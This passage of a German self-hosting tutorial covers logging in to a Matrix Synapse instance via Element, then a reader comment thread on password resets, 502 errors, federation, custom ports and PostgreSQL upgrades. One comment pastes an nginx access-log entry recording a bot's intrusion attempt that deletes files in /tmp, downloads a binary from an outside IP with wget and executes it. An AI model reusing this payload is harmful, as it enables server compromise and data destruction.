Nach dem Aufruf des Web-Clients von Element selbst befindet man sich auf der offiziellen Instanz, mit der man einen Matrix-Account bei matrix.org anlegen kann. Weil wir ja unsere eigene Instanz eines Matrix-Servers betreiben, melden wir und hier nicht bei matrix.org, sondern auf unserem Server (matrix.meinedomain.de) an.

Dazu geben wir nach einem Klick auf Anmelden unseren kompletten Benutzernamen ein. Dieser folgt immer dem Schema @benutzername:domain.tld, in diesem Fall also z.B. @testuser:matrix.meinedomain.de
Der Webclient erkennt hier automatisch, dass es sich um eine eigenständige Matrix-Instanz handelt, auf der ihr euch anmelden möchtet und zeigt diese dann auch unter Heimserver an:

Anmeldung an die eigene Matrix-Instanz mittels app.element.io
Anmeldung an die eigene Matrix-Instanz mittels app.element.io

Nach einem Klick auf Anmelden befindet ihr auch schon auf eurer eigenen Matrix-Instanz.

Die eigene Matrix-Instanz per Element/Web
Die eigene Matrix-Instanz per Element/Web

Fazit

Wenn ihr dem Artikel soweit gefolgt seid, habt ihr einen eigenen Chat-Server mit Matrix Synapse installiert und eingerichtet. Ihr könnt nun mit beliebigen Usern auf beliebigen Matrix-Servern sicher und verschlüsselt kommunizieren.

Matrix bzw. Element hat sehr viele Features zu bieten, daher kann der Umgang mit dem Client zunächst im Vergleich mit den „herkömmlichen Messengern“ wie Threema, Signal oder auch WhatsApp etwas gewöhnungsbedürftig sein. Die TU Dresden stellt dazu eine sehr umfangreiche Anleitung für Benutzer zur Verfügung. Diese ist auf jeden Fall mal einen Blick wert, um sich mit dem System und den damit verbundenen Möglichkeiten vertraut zu machen.

Weiterführende Artikel

Links

176 Kommentare zu „Matrix Synapse auf Ubuntu Server 20.04 LTS mit nginx, PostgreSQL und Let’s Encrypt“

  1. Hallo,
    nach dem ich dem wunderbaren Tutorial gefolgt bin und alles geklappt hat wie es sollte, hat nun leider ein user sein passwort vergessen. Gibt es eine Möglichkeit dies zu reseten? Nach meiner Google Suche und ein paar tests hat es leider nicht geklappt.

    1. Hi Daniel,

      wenn der Matrix Server Mails versenden kann (SMTP-Server in homeserver.yaml eingetragen) UND der entsprechende User eine E-Mail-Adresse in seinem Profil hinterlegt hat, kann er einfach die „Passwort vergessen“ Funktion eines Matrix-Clients nutzen.
      Wenn das nicht klappen sollte, muss man wohl über die API von Matrix gehen. Ich habe hier mal ein paar hilfreiche Skripte gesammelt, mit denen bestimmte Dinge durchgeführt werden können.
      Konkret würde ich es mal mit dem Aktivieren des Users über die API ausprobieren (hier). Wenn das nicht klappen sollte, dann kann es sein, dass der User zunächst einmal deaktiviert werden muss.

      Gruß,
      Jan

      1. Hi Jan,

        vielen Dank für die Scripts, die sind sehr hilfreich. Man kann damit einiges anstellen.

        Ich hatte nur das problem festgestellt, wenn ich das AccessToken von dem AdminUser per API abfragen wollte, das ich bei richtiger Eingabe des Passworts immer den Fahler bekommen habe, dass das Passwort wohl falsch ist.
        Zum Glück kommt man ja auch auf anderen Wegen an das AccessToken xD.
        Also frisch ans Werk. Beim ersten mal hat das zurücksetzen des Passworts eines Users wunderbar funktioniert. Habe es mit einem Test User gemacht gehabt. Wunderbar dachte ich.
        Hatte das ganze auf genau die gleiche Art jetzt nochmal gemacht und habe immer nen Fehler bekommen, dass das AccessToken wohl falsch währe. Richtiges Token war aber vorhanden und auch eingegeben. Nun bekomme ich die Passwörter irgendwie nicht zurückgesetzt. Ich kann einen User auch nicht deaktivieren um ihn dann wieder zu aktivieren. Muss sagen stehe bisschen auf dem Schlauch.
        Ich möchte ungern nen SMTP Server hinterlegen.

        1. Hi Daniel,

          bei den ganzen API-Aufrufen muss man manchmal ein wenig herum probieren und immer auf konkrete Meldungen achten, die dir die API zurück liefert.
          Die Skripte sind sicherlich auch nicht zu 100% perfekt, aber meine Versuche der API-Aufrufe der Skripte haben bisher immer geklappt.

          Wie wäre es, wenn du temporär einen SMTP-Server hinterlegen würdest?

          Gruß,
          Jan

          1. Hi Daniel,

            so, ich habe mal im verlinkten Repo ein weiteres Skript zum Ändern von User-Passwörtern gepusht. Damit funktioniert das bei meiner eigenen Matrix-Instanz problemlos.

            Gruß,
            Jan

  2. Guten Tag, ich habe aus Verzweiflung vom NPM auf die normale nginx nach Anleitung umgestellt & bekomme jedoch folgende Fehlermeldung beim Federation tester:

    Connection Errors
    Non-200 response 502 from remote server
    DNS results

    server name/.well-known result contains explicit port number: no SRV lookup done

    Der SSL Test zeigt keine Fehler.

    Die Matrixdomain ist eine Subdomain die mit einem A Record auf mein Server verlinkt ist. Ich habe auch folgende SRV Einträge getestet, jedoch ohne Erfolg: _matrix._tcp SRV 10 0 8448 sub.domain.de. & auch _matrix._tcp SRV 10 5 443 sub.domain.de. habe ich getestet.

    vhost & in der nginx Config konnte ich auch nicht auffälliges feststellen..

    Woran könnte es liegen? VG.

    1. Hi,

      der 502er Fehler („Bad Gateway“) sagt aus, dass dein Backend (also in diesem Fall Matrix Synapse) nicht erreichbar ist (vom Reverse Proxy aus). Die Installation von Matrix „all in one“, also nginx und Matrix auf einem Server unterscheidet sich allerdings kaum von deinem Setup. Daher vermute ich mal, dass bei der Installation von Matrix noch etwas schief gelaufen ist.
      Ich würde hier erst einmal die Logs von nginx checken und wenn hier nichts auffälliges zu finden ist, mit den Logs von Matrix weiter machen.

      Gruß,
      Jan

        1. Hi,

          ja, liegt definitiv an der Kommunikation zwischen beiden Maschinen. Ob das nun aber ein technisches Problem ist (z.B. dass die Maschinen einfach nicht miteinander kommunizieren können), oder ob Matrix aus anderen Gründen (falsche Konfiguration, o.ä.) nicht erreichbar ist, geht aus dem 502er Fehler nicht hervor.
          Daher mal die Logs checken, ob ein Request gegen Matrix überhaupt bei der Matrix-Maschine ankommt.

          Übrigens: Die Meldung mit den SRV-Einträgen im Federation Tool kannst du getrost ignorieren, es wir für den hier beschriebenen Weg kein SRV-Eintrag benötigt.

          Gruß,
          Jan

          1. Vorerst Danke für deine Antwort und Hi nochmals,

            folgendes habe ich in den nginx Logs (es sind sehr viele log Dateien & eindringversuche mit verschiedenen Ips & Browsern was ich mir nicht erklären kann)

            – – [13/Feb/2022:13:05:30 +0000] „GET /0bef HTTP/1.0“ 301 162 „-“ „-“ „-“
            – – [13/Feb/2022:13:27:06 +0000] „GET /shell?cd+/tmp;rm+-rf+*;wget+ http://23.94.7.175/.s4y/arm;sh+/tmp/arm HTTP/1.1″ 400 150 „-“ „-“ „-“

            von mir konnte ich diesen Eintrag finden:

            0.0.0.0. – – [13/Feb/2022:12:53:16 +0000] „GET / HTTP/1.1“ 301 162 „-“ „Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0“ „-“

            homeserverlog auch nichts spannendes:

            am ordering 1 day ago: it’s 0
            2022-02-14 13:11:52,235 – synapse.storage.databases.main.event_push_actions – 612 – INFO – event_push_action_stream_orderings-143 – Found stream ordering 1 month ago: it’s 0
            2022-02-14 13:11:52,235 – synapse.storage.databases.main.event_push_actions – 615 – INFO – event_push_action_stream_orderings-143 – Searching for stream ordering 1 day ago
            2022-02-14 13:11:52,235 – synapse.storage.databases.main.event_push_actions – 794 – INFO – rotate_notifs-47 – Rotating notifications up to: 0
            2022-02-14 13:11:52,236 – synapse.storage.databases.main.event_push_actions – 619 – INFO – event_push_action_stream_orderings-143 – Found stream ordering 1 day ago: it’s 0
            2022-02-14 13:11:52,238 – synapse.storage.databases.main.event_push_actions – 870 – INFO – rotate_notifs-47 – Rotating notifications, handling 0 rows
            2022-02-14 13:11:52,239 – synapse.storage.databases.main.event_push_actions – 923 – INFO – rotate_notifs-47 – Rotating notifications, deleted 0 push actions
            2022-02-14 13:11:52,390 – synapse.storage.databases.main.metrics – 471 – INFO – generate_user_daily_visits-287 – Calling _generate_user_daily_visits

            Was könnte ich noch prüfen um den Fehler einzugrenzen? VG.

          2. Hi,

            ich habe die Logs mal ein wenig gekürzt, da hier wirklich nichts spannendes enthalten ist.
            Das erste schaut mir aber aus wie das access.log von nginx – hier wäre aber das error.log interessanter. Denn hier müsste mal zumindest deinen 502er Fehler sehen, evtl. auch mal „durch-greppen“.

            Gruß,
            Jan

  3. Im Error.log sind keine 502 Meldungen also auch nichts interessantes…

    hier trotzdem das letzte Ausschnitt:

    2022/02/15 14:08:31 [notice] 27513#27513: worker process 27515 exited with code 0
    2022/02/15 14:08:31 [notice] 27513#27513: signal 29 (SIGIO) received
    2022/02/15 14:08:31 [notice] 27513#27513: signal 17 (SIGCHLD) received from 27515
    2022/02/15 14:08:31 [notice] 27513#27513: signal 17 (SIGCHLD) received from 27516
    2022/02/15 14:08:31 [notice] 27513#27513: worker process 27516 exited with code 0
    2022/02/15 14:08:31 [notice] 27513#27513: signal 29 (SIGIO) received
    2022/02/15 14:08:31 [notice] 27513#27513: signal 17 (SIGCHLD) received from 27517
    2022/02/15 14:08:31 [notice] 27513#27513: worker process 27517 exited with code 0
    2022/02/15 14:08:31 [notice] 27513#27513: exit
    2022/02/15 14:08:31 [notice] 27531#27531: using the „epoll“ event method
    2022/02/15 14:08:31 [notice] 27531#27531: nginx/1.21.6
    2022/02/15 14:08:31 [notice] 27531#27531: built by gcc 9.3.0 (Ubuntu 9.3.0-10ubuntu2)
    2022/02/15 14:08:31 [notice] 27531#27531: OS: Linux 5.13.19-4-pve
    2022/02/15 14:08:31 [notice] 27531#27531: getrlimit(RLIMIT_NOFILE): 1024:524288
    2022/02/15 14:08:31 [notice] 27532#27532: start worker processes
    2022/02/15 14:08:31 [notice] 27532#27532: start worker process 27533
    2022/02/15 14:08:31 [notice] 27532#27532: start worker process 27534
    2022/02/15 14:08:31 [notice] 27532#27532: start worker process 27535
    2022/02/15 14:08:31 [notice] 27532#27532: start worker process 27536

    viele Grüße.

  4. Mehrmals sogar, auch die Tage davor. Ich denke, dass die Weiterleitung zu Matrix generell nicht richtig funktioniert. Wenn ich domain.de aufrufe erhalte ich eine 404 Meldung & ein fehlerhaftes SSL Zertifiziert. Bei matrix.domain.de bekomme ich auch eine 404 Meldung aber korrektes Zertifikat und unter /.well-known wird mir alles normal von Matrix angezeigt eben bis auf false bei fed. Test. Muss vielleicht der nginx config oder vhost zusätzlich angepasst werden bei einem externen container? Oder gibt es noch Wege den Fehler einzugrenzen?

    1. Hi,

      nur um auf Nummer sicher zu gehen: Auf der Matrix-Maschine ist auch ein nginx installiert? Empfehlenswert, damit man hier selbst signierte Zertifikate verwenden kann – ansonsten wäre der Netz-interne Traffic unverschlüsselt.
      Nach folgendem Schema habe ich schon Instanzen aufgesetzt und hier hat das einwandfrei funktioniert (eckige Klammern: jeweils eine Maschine): Internet -> [nginx (Reverse Proxy)] -> [nginx -> Matrix]
      Bei dir wäre nun zunächst interessant, wo die Anfragen auf der Strecke bleiben. Dies müsste denke ich zuerst heraus gefunden werden.

      Gruß,
      Jan

  5. Hallo Jan,
    in meiner Serverkonfiguration gibt es folgendes Problem, den Port 443/TCP nutze ich schon für OpenVPN. Matrix kommuniziert ja eigentlich über 8008, könnte ich in nginx einen anderen Port verwenden?

    Falls es hilft könnte ich nach außen 443/TCP verwenden (für Matrix), den ipv4 Traffic leite ich ohnehin über einen ip-VPN, dort könnte ich den ankommenden Matrix Traffic von 443/TCP ja beliebig umleiten bis nginx und dort dann auf den 8008, möglich? OpenVPN würde ich über die ipv6 Adresse weiterlaufen lassen (443/TCP).

    Gruß,
    Philipp

    1. Hi Philipp,

      Matrix auf einem anderen Port wie 443 laufen zu lassen, habe ich noch nicht ausprobiert. Müsstest du denke ich einfach mal ausprobieren. In den Clients muss beim Verbinden dann vermutlich immer der Port mit angegeben werden. Wichtig ist dann noch, dass der Federation Tester dann auch noch Erfolg meldet.
      Auf der anderen Seite: Wäre es nicht einfacher, einen anderen Port für OpenVPN zu nutzen? Hier ist es denke ich mal vertretbarer, wenn man hier immer einen Port beim Verbinden mit angeben muss (man verbindet sich ja eh meistens mit einem gespeicherten Profil).

      Gruß,
      Jan

      1. Hallo Jan,
        es war schon ein bisschen Arbeit in meinem Fall, denn auch auf Port 80 lief schon etwas, aber die Antwort ist: Es geht!

        Matrix läuft bei mir ohne Probleme auf Port 1194, auch Federation, alles läuft wie es soll. Nach „außen“ hin lasse ich Matrix auf Port 443 laufen. Am IP-VPN leite ich Matrix dann von 443->1194, in nginx leite ich dann 1194->8008. So kann ich über meine globale IPV6 Adresse des Server OpenVPN weiter auf 443 laufen lassen. Dies einfach aus dem Grund, dass der Port 1194 UDP doch gern geblockt wird. Natürlich wäre es viel viel leichter gewesen den VPN auf 1194 UDP zu tauschen.

        Vielen dank für Dein gutes Tutorial!

        Gruß,
        Philipp

  6. Hallo Jan,

    habe meine Nextcloud Installation von MariaDB auf PostgreSQl(14) umgestellt. Völlig problemlos dank deiner Anleitung.
    In diesem Zuge habe ich mal meine Matrix-Installation geprüft und festgestellt, dass hier noch PostgreSQL 12 läuft.
    Kann man auch hier pro­b­lem­los auf 14 upgraden(Passwörter mal außen vor)? Hast du es schon versucht?

    Danke und Gruß
    Jörg

    1. Hi Jörg,

      ja, die PostgreSQL-DB kann einfach upgedatet werden, siehe hier. Vorher natürlich ein Backup machen, man weiß ja nie.
      Aber wenn es unter PostgreSQL 12 keine Probleme gibt, spricht auch erst einmal nichts dagegen, das auf dieser Version zu belassen.

      Gruß,
      Jan

  7. Hab ich es übersehen oder verwendest du für die ganze Einrichtung root bzw. superuser? Sollte man nicht für Matrix einen eingenständigen Nutzer anlegen ohne root rechte?

    1. Hi,

      die Installation erfolgt mir root-Rechten. Während der Installation wird automatisch ein User „matrix-synapse“ angelegt, unter dem dann Matrix selbst läuft.

      Gruß,
      Jan

Kommentar verfassen

Deine E-Mail-Adresse wird nicht veröffentlicht.